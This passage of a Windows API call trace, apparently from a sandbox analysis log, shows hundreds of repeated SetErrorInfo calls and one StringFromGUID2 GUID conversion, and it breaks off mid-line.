[0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.854] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.855] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.856] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.857] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.858] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.877] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.877] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.877] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.877] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.878] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.878] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.882] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.883] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.883] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.883] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.883] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.883] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.884] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.884] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.884] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.884] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] StringFromGUID2 (in: rguid=0x12d558*(Data1=0xf0af8af5, Data2=0x9602, Data3=0x42c9, Data4=([0]=0x9d, [1]=0x90, [2]=0x56, [3]=0x67, [4]=0x4f, [5]=0x55, [6]=0xd, [7]=0x68)), lpsz=0x12d5ec, cchMax=225 | out: lpsz="{F0AF8AF5-9602-42C9-9D90-56674F550D68}") returned 39 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.885] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.886] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.886] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.886] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.886] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.886] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.886] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.886] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.887] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.887] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.887] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.887] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.888] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.888] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.888] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.888] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.889] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.889] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.889] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.889] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.889] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.889] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.889] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.889] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.891] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.896] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.896] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.897] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.900] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.901] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo 